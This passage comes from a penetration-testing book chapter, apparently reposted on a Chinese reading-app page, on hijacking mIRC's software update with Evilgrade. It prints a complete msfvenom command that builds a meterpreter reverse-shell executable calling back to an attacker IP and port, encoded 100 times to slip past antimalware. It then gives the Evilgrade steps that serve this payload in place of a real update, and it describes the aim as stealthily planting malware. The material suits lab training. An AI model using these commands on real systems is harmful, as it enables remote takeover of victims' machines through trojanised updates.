上QQ阅读APP看书，第一时间看更新

Configuring the payload and upgrade module

We need two things for this attack: a payload, which will be an executable we're fooling the updater to download instead of the real deal; and the upgrade module in Evilgrade for the specific software we're targeting. We're targeting the classic IRC client, mIRC. We need a payload first so we can configure our upgrade module accordingly, so let's generate a payload with msfvenom again.

In keeping with working our way up to the more advanced use of this tool later in the book, we'll do a couple things differently with msfvenom to generate a package that is more resistant to antimalware detection.

I start with a simple ifconfig command piping into grep the inet line, which will contain my IP address, so I can configure LHOST. Now that I know my IP, I execute this command to generate the payload executable:

# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.108.94 lport=1066 -f exe --platform windows -a x86 -e x86/shikata_ga_nai -i 100 > updater.exe

The payload, LHOST, and LPORT options should be familiar: we're having the target connect back to our listener at our IP and port 1066. -f is the file type: .exe, of course. There are a few new options:

--platform specifies the target platform. We're working with Windows targets, so we define windows here. Note that the last time we created a payload, we omitted this option and msfvenom assumed Windows.
-a defines the instruction set architecture (32-bit or 64-bit). We're working with x86 for now.
-e is the encoder to use when generating the executable. The encoder decides what characters to use in the code that will be executed on the target system; for example, if we need to remove characters that will break our shellcode (a good example is the null byte \x00), the encoder figures out how to replace these characters without breaking the result. As you can imagine, working with fewer characters means it takes more of the remaining characters to encode the same functionality, so the specifics of the encoding decides how large the result will be. This is something we will cover later in the book when we take Metasploit out for a real test drive – for now, let's use x86/shikata_ga_nai, a popular encoder for throwing off signature-based malware detection. shikata ga nai is Japanese for it can't be helped. Truer words have not been spoken.
-i is tied to the encoder in that it defines the number of iterations the encoder will run. The first encoded result will then be input for another round of encoding, and so forth. I picked 100 arbitrarily; what you define here (if anything) will depend on the situation.

Make sure you verify your result before planting it on a system in a real-world test. The use of the shikata_ga_nai encoder, which has a large character set, with multiple iterations can create broken shellcode. If this happens, inspect it for bad characters. We'll cover all of this in greater detail later on.

I called the output updater.exe but, just as in our binary injection attack with BetterCAP proxying, the name doesn't matter because it isn't what the target will see.

Now that I have the payload, I need to fire up Evilgrade and configure the mIRC module to know where to find it. I simply type evilgrade to fire up a console that is reminiscent of IOS consoles, for those of you with any Cisco experience:

I encourage you to check out all the modules that are included with Evilgrade. Find one, test out the target software update mechanism in your lab to verify plain HTTP, and get cracking.

So, we enter the following command to configure the mIRC module:

conf mirc

The prompt changes to tell us we're now configuring the mirc module. Type the following command to see what options are available to us:

show options

As you can see, there's only one option we need to configure: agent. This tells Evilgrade where it can find the executable for the bait-and-switch during the upgrade attempt. I use set to tell Evilgrade to use our freshly generated payload:

set agent /root/updater.exe

Now we just let this sit here in this Terminal window, because this is where we'll launch the attack from. But, before you move on, you'll need the information found in VirtualHost. Those are the domains that the target will be contacting when checking for updates. Part of the reason we're covering this particular attack is to learn how to do particularly nefarious things, such as getting malware onto a target while being stealthy, so we aren't spoofing and intercepting traffic for anything else. We want to only see DNS requests for these particular domains, and even then, we'll be tampering with requests for updaters.